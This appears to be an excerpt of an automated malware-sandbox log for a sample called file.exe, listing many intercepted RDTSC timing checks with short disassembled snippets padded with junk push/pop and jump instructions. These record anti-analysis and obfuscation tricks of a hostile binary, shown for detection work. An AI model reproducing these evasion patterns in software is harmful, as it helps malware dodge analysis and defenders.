Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD75FF second address: BD7606 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7E46 second address: BD7E52 instructions: 0x00000000 rdtsc 0x00000002 je 00007FF624C752F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD7E52 second address: BD7E81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jc 00007FF624B4E7D6h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jnl 00007FF624B4E7EAh 0x00000014 jmp 00007FF624B4E7E4h 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push edi 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD890C second address: BD895C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FF624C75303h 0x0000000d jmp 00007FF624C752FAh 0x00000012 push eax 0x00000013 jmp 00007FF624C75305h 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF624C75302h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8C20 second address: BD8C26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BD8C26 second address: BD8C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FF624C752F6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push edx 0x0000000e jp 00007FF624C752F6h 0x00000014 jbe 00007FF624C752F6h 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d pushad 0x0000001e jnc 00007FF624C752F6h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE105D second address: BE1068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FF624B4E7D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE01DB second address: BE01DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE05A3 second address: BE05A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE05A7 second address: BE05B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007FF624C752F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE05B7 second address: BE05BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0746 second address: BE074E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE074E second address: BE0754 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0754 second address: BE075F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE075F second address: BE0763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0763 second address: BE0787 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007FF624C75307h 0x0000000e jmp 00007FF624C75301h 0x00000013 push eax 0x00000014 push esi 0x00000015 pop esi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE09F7 second address: BE09FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0BAD second address: BE0BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624C75305h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0D1C second address: BE0D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE0D20 second address: BE0D34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF624C752FEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE68C4 second address: BE68CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE68CD second address: BE68D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE69FA second address: BE69FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE69FE second address: BE6A1B instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF624C752F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF624C752FFh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6A1B second address: BE6A1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6CFC second address: BE6D16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FF624C75304h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6EA0 second address: BE6EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE6FF9 second address: BE7006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007FF624C752F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7006 second address: BE700A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE746B second address: BE7482 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FF624C75301h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE7E9F second address: BE7EAA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE857F second address: BE858D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624C752FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BE858D second address: BE8591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEF994 second address: BEF99A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEF592 second address: BEF596 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEF596 second address: BEF5A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FF624C75302h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEF5A4 second address: BEF5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FF624B4E7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BEF5AE second address: BEF5B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB840 second address: BFB846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB846 second address: BFB84A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB84A second address: BFB84E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB84E second address: BFB854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB854 second address: BFB866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c pop eax 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB866 second address: BFB86A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB86A second address: BFB88C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7DBh 0x00000007 jmp 00007FF624B4E7DFh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB88C second address: BFB890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB890 second address: BFB896 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD33C second address: BFD35A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF624C75309h 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD35A second address: BFD37B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FF624B4E7E7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD37B second address: BFD37F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B393E5 second address: B393EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1D6 second address: BFD1E0 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF624C752F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFD1E0 second address: BFD1EC instructions: 0x00000000 rdtsc 0x00000002 jl 00007FF624B4E7DEh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0131F second address: C01323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0678E second address: C06794 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D6F4 second address: B2D6F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D6F8 second address: B2D712 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E4h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B2D712 second address: B2D72B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624C75305h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1C6C2 second address: C1C6E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624B4E7DEh 0x00000009 pop eax 0x0000000a pop edi 0x0000000b pushad 0x0000000c pushad 0x0000000d ja 00007FF624B4E7D6h 0x00000013 jnl 00007FF624B4E7D6h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1AFF5 second address: C1B016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF624C75307h 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B016 second address: C1B01A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B01A second address: C1B01E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B01E second address: C1B02A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B02A second address: C1B02E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B02E second address: C1B068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FF624B4E7DEh 0x0000000e jg 00007FF624B4E7D6h 0x00000014 popad 0x00000015 pushad 0x00000016 jmp 00007FF624B4E7E7h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B068 second address: C1B06E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B1B7 second address: C1B1CD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF624B4E7DBh 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B1CD second address: C1B1D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B59F second address: C1B5A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B5A5 second address: C1B5C1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FF624C75302h 0x0000000c jmp 00007FF624C752FAh 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B5C1 second address: C1B5DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624B4E7E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B5DD second address: C1B5F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C75303h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B5F9 second address: C1B61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF624B4E7D6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e jnp 00007FF624B4E813h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FF624B4E7DAh 0x0000001b jbe 00007FF624B4E7D6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B782 second address: C1B788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1B788 second address: C1B791 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1C425 second address: C1C42B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1C42B second address: C1C42F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2133C second address: C21347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C21347 second address: C21394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007FF624B4E7E9h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007FF624B4E7DEh 0x00000012 jmp 00007FF624B4E7E7h 0x00000017 jg 00007FF624B4E7D6h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C21394 second address: C213A4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007FF624C752F6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C213A4 second address: C213A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C21059 second address: C2105D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2E7BC second address: C2E7C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2E7C4 second address: C2E7CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3C087 second address: C3C096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jnp 00007FF624B4E7D6h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F926 second address: C3F92A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F92A second address: C3F92E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F92E second address: C3F954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FF624C75314h 0x0000000c jmp 00007FF624C75308h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F954 second address: C3F958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C3F958 second address: C3F95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C59271 second address: C5927D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007FF624B4E7D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5927D second address: C59293 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624C752FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C59293 second address: C592B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF624B4E7E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58317 second address: C58323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF624C752F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58323 second address: C5832E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FF624B4E7D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5832E second address: C58334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58334 second address: C58338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58338 second address: C58354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF624C75302h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C58354 second address: C5835E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF624B4E7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5835E second address: C5836A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5836A second address: C58374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BC28 second address: C5BC2D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BCC0 second address: C5BCC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BCC8 second address: C5BCCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C5BF03 second address: C5BF1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF624B4E7E8h 0x00000009 rdtsc
